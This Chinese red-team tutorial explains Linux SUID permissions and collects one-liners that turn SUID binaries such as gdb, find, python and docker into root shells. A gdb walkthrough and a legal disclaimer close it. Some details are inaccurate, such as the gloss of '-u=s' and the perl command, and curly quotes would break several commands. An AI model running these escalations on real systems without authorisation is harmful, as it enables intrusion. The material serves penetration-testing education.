红队笔记之Suid提权浅析与利用方法总结

在这里插入图片描述

SUID权限说明

众所周知,在 Linux 中一切都是一个文件,而文件的权限有rwx(即读/写/执行),所有者、所有组、其它用户的rwx权限是彼此独立的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wGsWZq1U-1640172261413)(E:\CoreNote\文章附件\file-permissions-rwx.jpg)]

文件所有者和超级用户可以修改文件或目录的权限。可以使用绝对模式(八进制数字模式),符号模式指定文件的权限(chmod 754)。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YiA8mYHn-1640172261414)(E:\CoreNote\文章附件\rwx-standard-unix-permission-bits.png)]

其实在Linux的权限设置中还存在着除rwx,的第四类权限位,即;

SUID(Set UID):

  • suid权限仅对二进制程序有效(binary program);
  • 执行者对于该程序需要具有x的可执行权限;
  • 本权限仅在执行该程序的过程中有效(run-time);
  • 执行者将具有该程序拥有者的权限。

SGID(Set SGID):

  • SGID对二进制文件有用;
  • 程序执行者对该程序来说,具有x权限;
  • 执行者在执行的过程中将获得该程序群组的权限;

Sticky Bit

  • SBIT只针对目录有效;
  • 除非目录的属主和root用户有权限删除它,除此之外其它用户不能删除和修改这个目录;

SUID也真实因为其特殊属性具备了可以被提权的属性,下文进行详细介绍。

如何给文件设置SUID属性

方法1:

# 将所有者的执行权限位被设置成s,即suid
chmod u+s file|directory(此为要查询的文件名)
# 命令说明
chmod WhoWhatWhich file|directory
	Who(代表身份): u,g,o,a (user, group, other, all)
	What(代表动作): +, -, = (add, remove, set exact)
	Which(代表访问级别): r, w, x,s,t (read, write, execute,SUID/SGID,Sticky )

方法2:

# 在4750中,4说明SUID位被设置,7为所有者读写执行权限,5为所有组的读执行权限,其他用户无任何权限。
chmod 4750 file|directory(此为要查询的文件名)
# 命令说明
chmod OneTwoThreeFour file|directory(此为要查询的文件名)
	One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1
	Two(所有者权限):读权限加4,写权限加2,执行权限加1
	Three(所有组权限):读权限加4,写权限加2,执行权限加1
	Four(其他用户权限):读权限加4,写权限加2,执行权限加1

如何查看文件是否具有SUID属性

ls -al file(此为要查询的文件名)
# 如查看sudo文件的SUID属性
ls -al /usr/bin/sudo

在这里插入图片描述

SUID提权利用原理

上文讲到,SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。

SUID 提权利用步骤

1、查找具备Suid权限的文件

2、查找对应文件的利用方法(不是所有文件均可利用,需要结合时间成本考虑是否进行利用)

如何查找 SUID 文件

find / -perm -u=s -type f 2>/dev/null
参数:
	/表示从文件系统的顶部(根)开始,查找每个目录
	-perm表示搜索后面的权限
	-u=s表示查找 root 用户拥有的文件
	-type表示我们正在寻找的文件类型
	f 表示普通文件,而不是目录或特殊文件
	2表示到进程的第二个文件描述符,即 stderr(标准错误)
	>表示重定向
	/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

常用指令提权方法

命令利用方法
zshzsh
xargsxargs -a /dev/null sh -p
watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeouttimeout 7d /bin/sh -p
timetime /bin/sh -p
tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
tasksettaskset 1 /bin/sh -p
stdbufstdbuf -i0 /bin/sh -p
stracestrace -o /dev/null /bin/sh -p
sshssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarchsetarch $(arch) /bin/sh -p
rsyncrsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpmrpm --eval ‘%{lua:os.execute("/bin/sh -p")}’
pythonpython -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
php1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nicenice /bin/sh -p
nano1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more1、more /etc/profile 2、!/bin/sh -p
logsavelogsave /dev/null /bin/sh -i -p
lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
kshksh -p
ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ioniceionice /bin/sh -p
gitgit help status
gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
gdbgdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit
ftpftp //在底行输入“!/bin/sh -p”
flockflock -u / /bin/sh -p
findfind . -exec /bin/sh -p ; -quit
expectexpect -c ‘spawn /bin/sh -p;interact’
envenv /bin/sh -p
eded //在底行输入“!/bin/sh -p”
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesgdmesg -H//在底行输入“!/bin/sh -p”
cshcsh -b
bashbash -p
awkawk ‘BEGIN {system("/bin/bash -p")}’
perlperl exec “/bin/bash”;

SUID实战演示

1、使用查找当前用户可利用的具有SUID的属性的质量

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

2、确定要用的指令(以gdb为例),并输入利用指令

 gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

在这里插入图片描述

本文只为技术交流。为了您和您家人的幸福,请不要利用文中技术在用户未授权情况下开展渗透测试!!!

《中华人民共和国刑法》

第二百八十五条
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚

  • 6
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

方寸明光

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值